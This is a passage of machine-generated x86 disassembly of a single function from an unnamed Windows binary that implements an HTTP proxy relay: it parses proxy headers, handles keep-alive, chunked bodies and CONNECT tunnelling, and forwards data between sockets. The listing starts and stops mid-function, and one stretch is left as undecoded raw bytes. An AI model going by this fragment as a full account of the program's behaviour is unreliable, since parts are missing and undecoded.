		lea	eax, [esp+20h+arg_258]
		push	1
		push	eax
		lea	ecx, [esp+28h+arg_10]
		call	sub_4016AE
		push	offset asc_443C84 ; ":"
		lea	ecx, [esp+20h+arg_180]
		push	1
		push	ecx
		mov	ecx, eax
		mov	byte ptr [esp+28h+arg_5480], 8
		call	sub_4016AE
		mov	ecx, eax
		mov	byte ptr [esp+1Ch+arg_5480], 9
		call	sub_4017E4
		test	eax, eax
		lea	ecx, [esp+1Ch+arg_180]
		mov	byte ptr [esp+1Ch+arg_5480], 8
		setz	bl
		call	sub_401226
		lea	ecx, [esp+1Ch+arg_258]
		mov	byte ptr [esp+1Ch+arg_5480], 2
		call	sub_401226
		test	bl, bl
		jnz	loc_4292FF
		push	offset asc_443600 ; " "
		lea	edx, [esp+20h+arg_240]
		push	1
		push	edx
		lea	ecx, [esp+28h+arg_10]
		call	sub_4016AE
		push	offset asc_443C84 ; ":"
		lea	ecx, [esp+20h+arg_1B0]
		push	1
		push	ecx
		mov	ecx, eax
		mov	byte ptr [esp+28h+arg_5480], 0Ah
		call	sub_4016AE
		mov	ecx, eax
		mov	byte ptr [esp+1Ch+arg_5480], 0Bh
		call	sub_4017E4
		push	eax
		nop
		call	near ptr 77C1BF18h
		add	esp, 4
		lea	ecx, [esp+1Ch+arg_1B0]
		mov	[esp+1Ch+arg_EC], eax
		mov	byte ptr [esp+1Ch+arg_5480], 0Ah
		call	sub_401226
		lea	ecx, [esp+1Ch+arg_240]
		mov	byte ptr [esp+1Ch+arg_5480], 2
		call	sub_401226
		mov	eax, [esp+1Ch+arg_EC]
		test	eax, eax
		jnz	short loc_42866A
		mov	[esp+1Ch+arg_EC], 50h


loc_42866A:				; CODE XREF: sub_4282C0+1B0j
					; sub_4282C0+1FCj ...
		push	offset asc_443600 ; " "
		lea	edx, [esp+20h+arg_28]
		push	0
		push	edx
		lea	ecx, [esp+28h+arg_10]
		call	sub_4016AE
		push	offset byte_446F60
		lea	ecx, [esp+20h+arg_28]
		mov	byte ptr [esp+20h+arg_5480], 0Ch
		call	sub_4012EE
		test	eax, eax
		jz	loc_4292EE
		push	offset asc_443600 ; " "
		lea	eax, [esp+20h+arg_40]
		push	2
		push	eax
		lea	ecx, [esp+28h+arg_10]
		call	sub_4016AE
		push	offset byte_446F60
		lea	ecx, [esp+20h+arg_40]
		mov	byte ptr [esp+20h+arg_5480], 0Dh
		call	sub_4012EE
		test	eax, eax
		jz	loc_4292DD
		lea	ecx, [esp+1Ch+arg_AD]
		push	ecx
		lea	ecx, [esp+20h+arg_68]
		call	sub_4014C9
		mov	ecx, 1000h
		xor	eax, eax
		lea	edi, [esp+1Ch+arg_478]
		or	ebx, 0FFFFFFFFh
		rep stosd
		mov	edi, offset aHttprox ; "HTTPROX"
		mov	ecx, ebx
		repne scasb
		not	ecx
		sub	edi, ecx
		lea	edx, [esp+1Ch+arg_4478]
		mov	eax, ecx
		mov	esi, edi
		mov	edi, edx
		mov	byte ptr [esp+1Ch+arg_5480], 0Eh
		shr	ecx, 2
		rep movsd
		mov	ecx, eax
		lea	eax, [esp+1Ch+arg_4478]
		and	ecx, 3
		rep movsb
		mov	esi, offset asc_445220 ; "\r\n"


loc_428731:				; CODE XREF: sub_4282C0+48Fj
		mov	dl, [eax]
		mov	cl, dl
		cmp	dl, [esi]
		jnz	short loc_428755
		test	cl, cl
		jz	short loc_428751
		mov	dl, [eax+1]
		mov	cl, dl
		cmp	dl, [esi+1]
		jnz	short loc_428755
		add	eax, 2
		add	esi, 2
		test	cl, cl
		jnz	short loc_428731


loc_428751:				; CODE XREF: sub_4282C0+47Bj
		xor	eax, eax
		jmp	short loc_428759
; ---------------------------------------------------------------------------


loc_428755:				; CODE XREF: sub_4282C0+477j
					; sub_4282C0+485j
		sbb	eax, eax
		sbb	eax, ebx


loc_428759:				; CODE XREF: sub_4282C0+493j
		test	eax, eax
		jz	loc_428833
		mov	edi, dword_50FACC


loc_428767:				; CODE XREF: sub_4282C0+56Dj
		mov	esi, offset byte_446F60
		lea	eax, [esp+1Ch+arg_4478]


loc_428773:				; CODE XREF: sub_4282C0+4D1j
		mov	dl, [eax]
		mov	cl, dl
		cmp	dl, [esi]
		jnz	short loc_428797
		test	cl, cl
		jz	short loc_428793
		mov	dl, [eax+1]
		mov	cl, dl
		cmp	dl, [esi+1]
		jnz	short loc_428797
		add	eax, 2
		add	esi, 2
		test	cl, cl
		jnz	short loc_428773


loc_428793:				; CODE XREF: sub_4282C0+4BDj
		xor	eax, eax
		jmp	short loc_42879B
; ---------------------------------------------------------------------------


loc_428797:				; CODE XREF: sub_4282C0+4B9j
					; sub_4282C0+4C7j
		sbb	eax, eax
		sbb	eax, ebx


loc_42879B:				; CODE XREF: sub_4282C0+4D5j
		test	eax, eax
		jz	loc_428833
		mov	ecx, [ebp+0BBh]
		push	0
		lea	eax, [esp+20h+arg_4478]
		push	1000h
		push	eax
		push	ecx
		call	sub_401280
		add	esp, 10h
		test	al, al
		jz	loc_429339
		lea	edx, [esp+1Ch+arg_4478]
		push	4000h
		lea	eax, [esp+20h+arg_478]
		push	edx
		push	eax
		call	edi	; strncat
		push	4000h
		lea	ecx, [esp+2Ch+arg_478]
		push	offset asc_445220 ; "\r\n"
		push	ecx
		call	edi	; strncat
		add	esp, 18h
		mov	esi, offset asc_445220 ; "\r\n"
		lea	eax, [esp+1Ch+arg_4478]


loc_428803:				; CODE XREF: sub_4282C0+561j
		mov	dl, [eax]
		mov	cl, dl
		cmp	dl, [esi]
		jnz	short loc_428827
		test	cl, cl
		jz	short loc_428823
		mov	dl, [eax+1]
		mov	cl, dl
		cmp	dl, [esi+1]
		jnz	short loc_428827
		add	eax, 2
		add	esi, 2
		test	cl, cl
		jnz	short loc_428803


loc_428823:				; CODE XREF: sub_4282C0+54Dj
		xor	eax, eax
		jmp	short loc_42882B
; ---------------------------------------------------------------------------


loc_428827:				; CODE XREF: sub_4282C0+549j
					; sub_4282C0+557j
		sbb	eax, eax
		sbb	eax, ebx


loc_42882B:				; CODE XREF: sub_4282C0+565j
		test	eax, eax
		jnz	loc_428767


loc_428833:				; CODE XREF: sub_4282C0+49Bj
					; sub_4282C0+4DDj
		mov	esi, dword_50FAF8
		lea	eax, [esp+1Ch+arg_478]
		push	offset aProxyConnectio ; "Proxy-Connection:"
		push	eax
		call	esi	; strstr
		add	esp, 8
		test	eax, eax
		jz	short loc_428887
		push	offset asc_443C84 ; ":"
		push	eax
		call	esi	; strstr
		add	esp, 8
		inc	eax
		jz	short loc_428887
		cmp	byte ptr [eax],	20h
		jnz	short loc_42886B


loc_428862:				; CODE XREF: sub_4282C0+5A9j
		mov	cl, [eax+1]
		inc	eax
		cmp	cl, 20h
		jz	short loc_428862


loc_42886B:				; CODE XREF: sub_4282C0+5A0j
		push	offset aKeepAlive ; "Keep-Alive"
		push	eax
		call	near ptr 77C4624Eh
		nop
		add	esp, 8
		test	eax, eax
		jz	short loc_428887
		mov	byte ptr [ebp+0BAh], 1
		jmp	short loc_42888E
; ---------------------------------------------------------------------------


loc_428887:				; CODE XREF: sub_4282C0+58Dj
					; sub_4282C0+59Bj ...
		mov	byte ptr [ebp+0BAh], 0


loc_42888E:				; CODE XREF: sub_4282C0+5C5j
		cmp	[ebp+0BFh], ebx
		jnz	loc_428926
		push	6
		push	1
		push	2
		nop
		call	near ptr 71AB3B91h
		cmp	eax, ebx
		mov	[ebp+0BFh], eax
		jz	loc_42940D
		mov	edx, [esp+28h+arg_E0]
		xor	ecx, ecx
		mov	[esp+28h+arg_4C], ecx
		push	edx
		mov	[esp+2Ch+arg_50], ecx
		mov	word ptr [esp+2Ch+arg_4C], 2
		mov	[esp+2Ch+arg_54], ecx
		mov	[esp+2Ch+arg_58], ecx
		nop
		call	near ptr 71AB2B66h
		lea	ecx, [esp+2Ch+arg_9D]
		mov	[esp+2Ch+arg_4A], ax
		call	sub_4017E4
		push	eax
		call	sub_40187F
		add	esp, 4
		cmp	eax, ebx
		mov	[esp+2Ch+arg_4C], eax
		jz	loc_42934B
		mov	ecx, [ebp+0BFh]
		lea	eax, [esp+2Ch+arg_48]
		push	10h
		push	eax
		push	ecx
		nop
		call	near ptr 71AB406Ah
		cmp	eax, ebx
		jz	loc_4293A8


loc_428926:				; CODE XREF: sub_4282C0+5D4j
		mov	al, [esp+13h]
		test	al, al
		jz	loc_428FCE
		mov	al, [ebp+0BAh]
		test	al, al
		jz	short loc_428971
		lea	edx, [esp+38h+arg_45C]
		lea	ecx, [esp+38h+arg_24]
		push	edx
		call	sub_4017E4
		push	eax
		lea	ecx, [esp+40h+arg_D4]
		call	sub_4017E4
		push	eax
		lea	ecx, [esp+44h+arg_C]
		call	sub_4017E4
		push	eax
		lea	eax, [esp+48h+var_24]
		push	offset aSSSConnectionK ; "%s %s	%s\r\nConnection: Keep-Alive\r\n%s"
		push	eax
		jmp	short loc_4289A4
; ---------------------------------------------------------------------------


loc_428971:				; CODE XREF: sub_4282C0+67Aj
		lea	ecx, [esp+38h+arg_45C]
		push	ecx
		lea	ecx, [esp+3Ch+arg_24]
		call	sub_4017E4
		push	eax
		lea	ecx, [esp+40h+arg_D4]
		call	sub_4017E4
		push	eax
		lea	ecx, [esp+44h+arg_C]
		call	sub_4017E4
		push	eax
		lea	edx, [esp+48h+var_24]
		push	offset aSSSConnectionC ; "%s %s	%s\r\nConnection: close\r\n%s"
		push	edx


loc_4289A4:				; CODE XREF: sub_4282C0+6AFj
		call	sub_40102D
		add	esp, 18h
		lea	ecx, [esp+38h+var_24]
		push	0
		call	sub_4013D9
		push	eax
		lea	ecx, [esp+40h+var_24]
		call	sub_4017E4
		push	eax
		mov	eax, [ebp+0BFh]
		push	eax
		nop
		call	near ptr 71AB428Ah
		test	eax, eax
		jz	loc_4293F2
		cmp	eax, ebx
		jz	loc_4293F2
		mov	edx, [ebp+0BFh]
		push	0
		lea	ecx, [esp+4Ch+arg_44C]
		push	4000h
		push	ecx
		push	edx
		call	sub_401280
		add	esp, 10h
		test	al, al
		jz	loc_42941F
		mov	edi, offset asc_445220 ; "\r\n"
		or	ecx, 0FFFFFFFFh
		xor	eax, eax
		lea	edx, [esp+48h+arg_44C]
		repne scasb
		not	ecx
		sub	edi, ecx
		push	eax
		mov	esi, edi
		mov	ebx, ecx
		mov	edi, edx
		or	ecx, 0FFFFFFFFh
		repne scasb
		mov	ecx, ebx
		dec	edi
		shr	ecx, 2
		rep movsd
		mov	ecx, ebx
		and	ecx, 3
		rep movsb
		lea	edi, [esp+4Ch+arg_44C]
		or	ecx, 0FFFFFFFFh
		repne scasb
		not	ecx
		dec	ecx
		lea	eax, [esp+4Ch+arg_44C]
		push	ecx
		mov	ecx, [ebp+0BBh]
		push	eax
		push	ecx
		nop
		call	near ptr 71AB428Ah
		xor	ebx, ebx
		mov	esi, offset asc_445220 ; "\r\n"
		mov	[esp+58h+var_2C], ebx
		lea	eax, [esp+58h+arg_43C]


loc_428A6E:				; CODE XREF: sub_4282C0+7CCj
		mov	dl, [eax]
		mov	cl, dl
		cmp	dl, [esi]
		jnz	short loc_428A92
		test	cl, cl
		jz	short loc_428A8E
		mov	dl, [eax+1]
		mov	cl, dl
		cmp	dl, [esi+1]
		jnz	short loc_428A92
		add	eax, 2
		add	esi, 2
		test	cl, cl
		jnz	short loc_428A6E


loc_428A8E:				; CODE XREF: sub_4282C0+7B8j
		xor	eax, eax
		jmp	short loc_428A97
; ---------------------------------------------------------------------------


loc_428A92:				; CODE XREF: sub_4282C0+7B4j
					; sub_4282C0+7C2j
		sbb	eax, eax
		sbb	eax, 0FFFFFFFFh


loc_428A97:				; CODE XREF: sub_4282C0+7D0j
		test	eax, eax
		jz	loc_428E19


loc_428A9F:				; CODE XREF: sub_4282C0+B48j
		mov	esi, offset byte_446F60
		lea	eax, [esp+58h+arg_43C]


loc_428AAB:				; CODE XREF: sub_4282C0+80Dj
		mov	dl, [eax]
		mov	bl, [esi]
		mov	cl, dl
		cmp	dl, bl
		jnz	short loc_428AD3
		test	cl, cl
		jz	short loc_428ACF
		mov	dl, [eax+1]
		mov	bl, [esi+1]
		mov	cl, dl
		cmp	dl, bl
		jnz	short loc_428AD3
		add	eax, 2
		add	esi, 2
		test	cl, cl
		jnz	short loc_428AAB


loc_428ACF:				; CODE XREF: sub_4282C0+7F7j
		xor	eax, eax
		jmp	short loc_428AD8
; ---------------------------------------------------------------------------


loc_428AD3:				; CODE XREF: sub_4282C0+7F3j
					; sub_4282C0+803j
		sbb	eax, eax
		sbb	eax, 0FFFFFFFFh


loc_428AD8:				; CODE XREF: sub_4282C0+811j
		test	eax, eax
		jz	loc_428E15
		mov	ecx, [ebp+0BFh]
		push	0
		lea	eax, [esp+5Ch+arg_43C]
		push	4000h
		push	eax
		push	ecx
		call	sub_401280
		add	esp, 10h
		test	al, al
		jz	loc_428E10
		lea	edx, [esp+58h+arg_43C]
		lea	ecx, [esp+58h+arg_44]
		push	edx
		call	sub_401861
		push	offset asc_443600 ; " "
		lea	eax, [esp+5Ch+arg_1A4]
		push	0
		push	eax
		lea	ecx, [esp+64h+arg_44]
		mov	[esp+64h+arg_5444], 0Fh
		call	sub_4016AE
		push	offset aContentLength ;	"Content-Length:"
		mov	ecx, eax
		mov	[esp+5Ch+arg_5444], 10h
		call	sub_401500
		test	eax, eax
		lea	ecx, [esp+58h+arg_1A4]
		mov	[esp+58h+arg_5444], 0Fh
		setz	bl
		call	sub_401226
		test	bl, bl
		jz	short loc_428BBA
		push	offset asc_443600 ; " "
		lea	ecx, [esp+5Ch+arg_E4]
		push	1
		push	ecx
		lea	ecx, [esp+64h+arg_44]
		call	sub_4016AE
		mov	ecx, eax
		mov	[esp+58h+arg_5444], 11h
		call	sub_4017E4
		push	eax
		nop
		call	near ptr 77C1BF18h
		add	esp, 4
		lea	ecx, [esp+58h+arg_E4]
		mov	[esp+58h+var_2C], eax
		mov	[esp+58h+arg_5444], 0Fh
		call	sub_401226


loc_428BBA:				; CODE XREF: sub_4282C0+8ACj
		push	offset asc_443600 ; " "
		lea	edx, [esp+5Ch+arg_FC]
		push	0
		push	edx
		lea	ecx, [esp+64h+arg_44]
		call	sub_4016AE
		push	offset aTransferEncodi ; "Transfer-Encoding:"
		mov	ecx, eax
		mov	[esp+5Ch+arg_5444], 12h
		call	sub_401500
		test	eax, eax
		lea	ecx, [esp+58h+arg_FC]
		mov	[esp+58h+arg_5444], 0Fh
		setz	bl
		call	sub_401226
		test	bl, bl
		jz	short loc_428C49
		push	offset asc_443600 ; " "
		lea	eax, [esp+5Ch+arg_12C]
		push	1
		push	eax
		lea	ecx, [esp+64h+arg_44]
		call	sub_4016AE
		push	offset aChunked	; "chunked"
		mov	ecx, eax
		mov	[esp+5Ch+arg_5444], 13h
		call	sub_401500
		lea	ecx, [esp+58h+arg_12C]
		mov	[esp+58h+arg_5444], 0Fh
		call	sub_401226


loc_428C49:				; CODE XREF: sub_4282C0+944j
		push	offset asc_443600 ; " "
		lea	ecx, [esp+5Ch+arg_15C]
		push	0
		push	ecx
		lea	ecx, [esp+64h+arg_44]
		call	sub_4016AE
		push	offset aConnection ; "Connection:"
		mov	ecx, eax
		mov	[esp+5Ch+arg_5444], 14h
		call	sub_401500
		test	eax, eax
		lea	ecx, [esp+58h+arg_15C]
		mov	[esp+58h+arg_5444], 0Fh
		setz	bl
		call	sub_401226
		test	bl, bl
		jz	short loc_428CE4
		push	offset asc_443600 ; " "
		lea	edx, [esp+5Ch+arg_18C]
		push	1
		push	edx
		lea	ecx, [esp+64h+arg_44]
		call	sub_4016AE
		push	offset aKeepAlive ; "Keep-Alive"
		mov	ecx, eax
		mov	[esp+5Ch+arg_5444], 15h
		call	sub_401500
		test	eax, eax
		lea	ecx, [esp+58h+arg_18C]
		mov	[esp+58h+arg_5444], 0Fh
		setz	bl
		call	sub_401226
		test	bl, bl
		setnz	[esp+58h+var_47]


loc_428CE4:				; CODE XREF: sub_4282C0+9D3j
		mov	esi, offset asc_445220 ; "\r\n"
		lea	eax, [esp+58h+arg_43C]


loc_428CF0:				; CODE XREF: sub_4282C0+A52j
		mov	dl, [eax]
		mov	bl, [esi]
		mov	cl, dl
		cmp	dl, bl
		jnz	short loc_428D18
		test	cl, cl
		jz	short loc_428D14
		mov	dl, [eax+1]
		mov	bl, [esi+1]
		mov	cl, dl
		cmp	dl, bl
		jnz	short loc_428D18
		add	eax, 2
		add	esi, 2
		test	cl, cl
		jnz	short loc_428CF0


loc_428D14:				; CODE XREF: sub_4282C0+A3Cj
		xor	eax, eax
		jmp	short loc_428D1D
; ---------------------------------------------------------------------------


loc_428D18:				; CODE XREF: sub_4282C0+A38j
					; sub_4282C0+A48j
		sbb	eax, eax
		sbb	eax, 0FFFFFFFFh


loc_428D1D:				; CODE XREF: sub_4282C0+A56j
		test	eax, eax
		jz	loc_428DB9
		mov	esi, offset byte_446F60
		lea	eax, [esp+58h+arg_43C]


loc_428D31:				; CODE XREF: sub_4282C0+A93j
		mov	dl, [eax]
		mov	bl, [esi]
		mov	cl, dl
		cmp	dl, bl
		jnz	short loc_428D59
		test	cl, cl
		jz	short loc_428D55
		mov	dl, [eax+1]
		mov	bl, [esi+1]
		mov	cl, dl
		cmp	dl, bl
		jnz	short loc_428D59
		add	eax, 2
		add	esi, 2
		test	cl, cl
		jnz	short loc_428D31


loc_428D55:				; CODE XREF: sub_4282C0+A7Dj
		xor	eax, eax
		jmp	short loc_428D5E
; ---------------------------------------------------------------------------


loc_428D59:				; CODE XREF: sub_4282C0+A79j
					; sub_4282C0+A89j
		sbb	eax, eax
		sbb	eax, 0FFFFFFFFh


loc_428D5E:				; CODE XREF: sub_4282C0+A97j
		test	eax, eax
		jz	short loc_428DB9
		mov	edi, offset asc_445220 ; "\r\n"
		or	ecx, 0FFFFFFFFh
		xor	eax, eax
		lea	edx, [esp+58h+arg_43C]
		repne scasb
		not	ecx
		sub	edi, ecx
		push	eax
		mov	esi, edi
		mov	ebx, ecx
		mov	edi, edx
		or	ecx, 0FFFFFFFFh
		repne scasb
		mov	ecx, ebx
		dec	edi
		shr	ecx, 2
		rep movsd
		mov	ecx, ebx
		and	ecx, 3
		rep movsb
		lea	edi, [esp+5Ch+arg_43C]
		or	ecx, 0FFFFFFFFh
		repne scasb
		not	ecx
		dec	ecx
		lea	eax, [esp+5Ch+arg_43C]
		push	ecx
		mov	ecx, [ebp+0BBh]
		push	eax
		push	ecx
		call	near ptr 71AB428Ah
		nop


loc_428DB9:				; CODE XREF: sub_4282C0+A5Fj
					; sub_4282C0+AA0j
		lea	ecx, [esp+68h+arg_34]
		mov	[esp+68h+arg_5434], 0Eh
		call	sub_401226
		mov	esi, offset asc_445220 ; "\r\n"
		lea	eax, [esp+68h+arg_42C]


loc_428DD9:				; CODE XREF: sub_4282C0+B3Bj
		mov	dl, [eax]
		mov	bl, [esi]
		mov	cl, dl
		cmp	dl, bl
		jnz	short loc_428E01
		test	cl, cl
		jz	short loc_428DFD
		mov	dl, [eax+1]
		mov	bl, [esi+1]
		mov	cl, dl
		cmp	dl, bl
		jnz	short loc_428E01
		add	eax, 2
		add	esi, 2
		test	cl, cl
		jnz	short loc_428DD9


loc_428DFD:				; CODE XREF: sub_4282C0+B25j
		xor	eax, eax
		jmp	short loc_428E06
; ---------------------------------------------------------------------------


loc_428E01:				; CODE XREF: sub_4282C0+B21j
					; sub_4282C0+B31j
		sbb	eax, eax
		sbb	eax, 0FFFFFFFFh


loc_428E06:				; CODE XREF: sub_4282C0+B3Fj
		test	eax, eax
		jnz	loc_428A9F
		jmp	short loc_428E15
; ---------------------------------------------------------------------------


loc_428E10:				; CODE XREF: sub_4282C0+840j
		mov	[esp+58h+var_46], 1


loc_428E15:				; CODE XREF: sub_4282C0+81Aj
					; sub_4282C0+B4Ej
		mov	ebx, [esp+58h+var_2C]


loc_428E19:				; CODE XREF: sub_4282C0+7D9j
		mov	al, [esp+58h+var_47]
		push	0
		test	al, al
		jz	short loc_428E41
		mov	edi, offset aConnectionKeep ; "Connection: Keep-Alive\r\n"
		or	ecx, 0FFFFFFFFh
		xor	eax, eax
		repne scasb
		mov	eax, [ebp+0BBh]
		not	ecx
		dec	ecx
		push	ecx
		push	offset aConnectionKeep ; "Connection: Keep-Alive\r\n"
		push	eax
		jmp	short loc_428E5D
; ---------------------------------------------------------------------------


loc_428E41:				; CODE XREF: sub_4282C0+B61j
		mov	edi, offset aConnectionClos ; "Connection: Close\r\n"
		or	ecx, 0FFFFFFFFh
		xor	eax, eax
		repne scasb
		not	ecx
		dec	ecx
		push	ecx
		mov	ecx, [ebp+0BBh]
		push	offset aConnectionClos ; "Connection: Close\r\n"
		push	ecx


loc_428E5D:				; CODE XREF: sub_4282C0+B7Fj
		nop
		call	near ptr 71AB428Ah
		mov	edi, offset asc_445220 ; "\r\n"
		or	ecx, 0FFFFFFFFh
		xor	eax, eax
		lea	edx, [esp+68h+arg_42C]
		repne scasb
		not	ecx
		sub	edi, ecx
		push	0
		mov	eax, ecx
		mov	esi, edi
		mov	edi, edx
		mov	edx, [ebp+0BBh]
		shr	ecx, 2
		rep movsd
		mov	ecx, eax
		xor	eax, eax
		and	ecx, 3
		rep movsb
		lea	edi, [esp+6Ch+arg_42C]
		or	ecx, 0FFFFFFFFh
		repne scasb
		not	ecx
		dec	ecx
		push	ecx
		lea	ecx, [esp+70h+arg_42C]
		push	ecx
		push	edx
		nop
		call	near ptr 71AB428Ah
		test	ebx, ebx
		jz	loc_428F8C
		xor	edi, edi
		test	ebx, ebx
		jle	short loc_428F14


loc_428EC3:				; CODE XREF: sub_4282C0+C52j
		mov	eax, ebx
		sub	eax, edi
		cmp	eax, 4000h
		jbe	short loc_428F14
		mov	edx, [ebp+0BFh]
		push	0
		lea	ecx, [esp+7Ch+arg_41C]
		push	4000h
		push	ecx
		push	edx
		call	near ptr 71AB615Ah
		nop
		mov	esi, eax
		cmp	esi, 1
		jl	short loc_428F14
		cmp	esi, 0FFFFFFFFh
		jz	short loc_428F14
		mov	ecx, [ebp+0BBh]
		push	0
		lea	eax, [esp+8Ch+arg_40C]
		push	esi
		push	eax
		push	ecx
		nop
		call	near ptr 71AB428Ah
		add	edi, esi
		cmp	edi, ebx
		jl	short loc_428EC3


loc_428F14:				; CODE XREF: sub_4282C0+C01j
					; sub_4282C0+C0Cj ...
		mov	eax, ebx
		sub	eax, edi
		jz	short loc_428F5E


loc_428F1A:				; CODE XREF: sub_4282C0+C9Cj
		push	0
		push	eax
		mov	eax, [ebp+0BFh]
		lea	edx, [esp+0A0h+arg_3FC]
		push	edx
		push	eax
		nop
		call	near ptr 71AB615Ah
		mov	esi, eax
		cmp	esi, 1
		jl	short loc_428F5E
		cmp	esi, 0FFFFFFFFh
		jz	short loc_428F5E
		mov	edx, [ebp+0BBh]
		push	0
		lea	ecx, [esp+0ACh+arg_3EC]
		push	esi
		push	ecx
		push	edx
		nop
		call	near ptr 71AB428Ah
		add	edi, esi
		mov	eax, ebx
		sub	eax, edi
		jnz	short loc_428F1A


loc_428F5E:				; CODE XREF: sub_4282C0+C58j
					; sub_4282C0+C77j ...
		mov	al, [ebp+0BAh]
		test	al, al
		jnz	loc_4291EF
		mov	ecx, [ebp+0BBh]
		push	ecx
		call	near ptr 71AB9639h
		nop
		or	esi, 0FFFFFFFFh
		mov	[esp+0BCh+var_AA], 1
		mov	[ebp+0BBh], esi
		jmp	loc_4291F2
; ---------------------------------------------------------------------------


loc_428F8C:				; CODE XREF: sub_4282C0+BF7j
		mov	esi, dword_50FC90


loc_428F92:				; CODE XREF: sub_4282C0+D0Cj
		mov	ecx, [ebp+0BFh]
		push	0
		lea	eax, [esp+7Ch+arg_41C]
		push	4000h
		push	eax
		push	ecx
		call	esi	; recv
		cmp	eax, 1
		jl	short loc_428F5E
		cmp	eax, 0FFFFFFFFh
		jz	short loc_428F5E
		push	0
		push	eax
		mov	eax, [ebp+0BBh]
		lea	edx, [esp+90h+arg_40C]
		push	edx
		push	eax
		call	near ptr 71AB428Ah
		nop
		jmp	short loc_428F92
; ---------------------------------------------------------------------------


loc_428FCE:				; CODE XREF: sub_4282C0+66Cj
		lea	ecx, [esp+38h+var_24]
		push	offset aHttp1_0200Conn ; "HTTP/1.0 200 Connection established\r\n\r\n"...
		push	ecx
		call	sub_40102D
		add	esp, 8
		lea	ecx, [esp+38h+var_24]
		push	0
		call	sub_4013D9
		push	eax
		lea	ecx, [esp+40h+var_24]
		call	sub_4017E4
		mov	edx, [ebp+0BBh]
		push	eax
		push	edx
		call	near ptr 71AB428Ah
		nop
		test	eax, eax
		jz	loc_429492
		cmp	eax, ebx
		jz	loc_429492
		mov	ebx, dword_50FC90
		mov	eax, [ebp+0BBh]
		mov	edx, [ebp+0BFh]
		mov	[esp+48h+arg_248], eax
		mov	[esp+48h+arg_244], 1
		xor	eax, eax
		lea	ecx, [esp+48h+arg_248]


loc_429040:				; CODE XREF: sub_4282C0+D8Bj
		cmp	[ecx], edx
		jz	short loc_42904D
		inc	eax
		add	ecx, 4
		cmp	eax, 1
		jb	short loc_429040


loc_42904D:				; CODE XREF: sub_4282C0+D82j
		cmp	eax, 1
		jnz	short loc_429064
		mov	[esp+48h+arg_24C], edx
		mov	[esp+48h+arg_244], 2


loc_429064:				; CODE XREF: sub_4282C0+D90j
		mov	ecx, 1000h
		xor	eax, eax
		lea	edi, [esp+48h+arg_44C]
		push	eax
		rep stosd
		push	eax
		lea	ecx, [esp+50h+arg_244]
		push	eax
		push	ecx
		push	eax
		nop
		call	near ptr 71AB2DC0h
		mov	eax, [ebp+0BBh]
		lea	edx, [esp+5Ch+arg_230]
		push	edx
		push	eax
		call	sub_436F60
; ---------------------------------------------------------------------------
		dw 0C085h
		dd 958B4274h, 0BBh, 8C8D006Ah, 49C24h, 40006800h, 52510000h
		dd 0F883D3FFh, 9F840FFFh, 8BFFFFFEh, 0BF8Dh, 50006A00h
		dd 0A024848Dh, 50000004h, 0B3E89051h, 837168B1h, 840FFFF8h
		dd 0FFFFFE7Eh, 0BF858Bh, 948D0000h, 29024h, 0E8505200h
		dd 0DE6Ch, 4274C085h, 0BF958Bh,	6A0000h, 9C248C8Dh, 68000004h
		dd 4000h, 0D3FF5251h, 0FFFF883h, 0FFFE4584h, 0BB8D8BFFh
		dd 6A000000h, 848D5000h, 4A024h, 90515000h, 68B159E8h
		dd 0FFF88371h, 0FE24840Fh, 3D8BFFFFh, 50F8D0h, 0D7FF056Ah
		dd 0BB858Bh, 6A0000h, 9C24948Dh, 68000004h, 4000h, 0D3FF5052h
		dd 0F685F08Bh, 0FDF8840Fh, 167DFFFFh, 36EE890h,	333D7169h
		dd 75000027h, 0FF016A09h, 0FE9BE9D7h, 958BFFFFh, 0BFh
		dd 0FC8C3D8Bh, 6A0050h,	9C248C8Dh, 56000004h, 0D7FF5251h
		dd 0BF8D8Bh, 6A0000h, 9C24848Dh, 68000004h, 4000h, 0D3FF5150h
		dd 0F685F08Bh, 0FDA4840Fh, 1A7DFFFFh, 31AE890h,	333D7169h
		dd 75000027h, 90016A0Dh, 3E8C3DE8h, 0FE43E902h,	858BFFFFh
		dd 0BBh, 948D006Ah, 49C24h, 50525600h, 2AE9D7FFh
		db 0FEh, 2 dup(0FFh)
; ---------------------------------------------------------------------------


loc_4291EF:				; CODE XREF: sub_4282C0+CA6j
		or	esi, 0FFFFFFFFh


loc_4291F2:				; CODE XREF: sub_4282C0+CC7j
		mov	al, [esp+0B8h+var_A7]
		test	al, al
		jnz	short loc_429212
		mov	edx, [ebp+0BFh]
		push	edx
		nop
		call	near ptr 71AB9639h
		mov	[ebp+0BFh], esi
		mov	[esp+0BCh+var_AA], 1


loc_429212:				; CODE XREF: sub_4282C0+F38j
		lea	ecx, [esp+0BCh+var_34]
		mov	byte ptr [esp+0BCh+arg_53E0], 0Dh
		call	sub_401226
		lea	ecx, [esp+0BCh+var_5C]
		mov	byte ptr [esp+0BCh+arg_53E0], 0Ch
		call	sub_401226
		lea	ecx, [esp+0BCh+var_74]
		mov	byte ptr [esp+0BCh+arg_53E0], 2
		call	sub_401226
		lea	ecx, [esp+0BCh+var_8C]
		mov	byte ptr [esp+0BCh+arg_53E0], 1
		call	sub_401226
		lea	ecx, [esp+0BCh+var_A8]
		mov	byte ptr [esp+0BCh+arg_53E0], 0
		call	sub_401226
		lea	ecx, [esp+0BCh+var_4]
		mov	[esp+0BCh+arg_53E0], esi
		call	sub_4014B0
		or	esi, 0FFFFFFFFh


loc_429280:				; CODE XREF: sub_4282C0+EBj
		mov	al, [esp+0BCh+var_AA]
		test	al, al
		jz	loc_4282F8


loc_42928C:				; CODE XREF: sub_4282C0+1074j
					; sub_4282C0+11CDj
		mov	al, [ebp+0BAh]
		test	al, al
		jz	short loc_4292A9
		mov	eax, [ebp+0BBh]
		push	eax
		nop
		call	near ptr 71AB9639h
		mov	[ebp+0BBh], esi


loc_4292A9:				; CODE XREF: sub_4282C0+FD4j
		mov	al, [esp+11h]
		test	al, al
		jz	short loc_4292C4
		mov	ecx, [ebp+0BFh]
		push	ecx
		nop
		call	near ptr 71AB9639h
		mov	[ebp+0BFh], esi


loc_4292C4:				; CODE XREF: sub_4282C0+FEFj
					; sub_4282C0+1255j
		mov	ecx, [esp+0C4h+arg_53D0]
		pop	edi
		pop	esi
		pop	ebp
		pop	ebx
		mov	large fs:0, ecx
		add	esp, 5494h
		retn
; ---------------------------------------------------------------------------


loc_4292DD:				; CODE XREF: sub_4282C0+40Aj
		lea	ecx, [esp+1Ch+arg_40]
		mov	byte ptr [esp+1Ch+arg_5480], 0Ch
		call	sub_401226


loc_4292EE:				; CODE XREF: sub_4282C0+3D7j
		lea	ecx, [esp+1Ch+arg_28]
		mov	byte ptr [esp+1Ch+arg_5480], 2
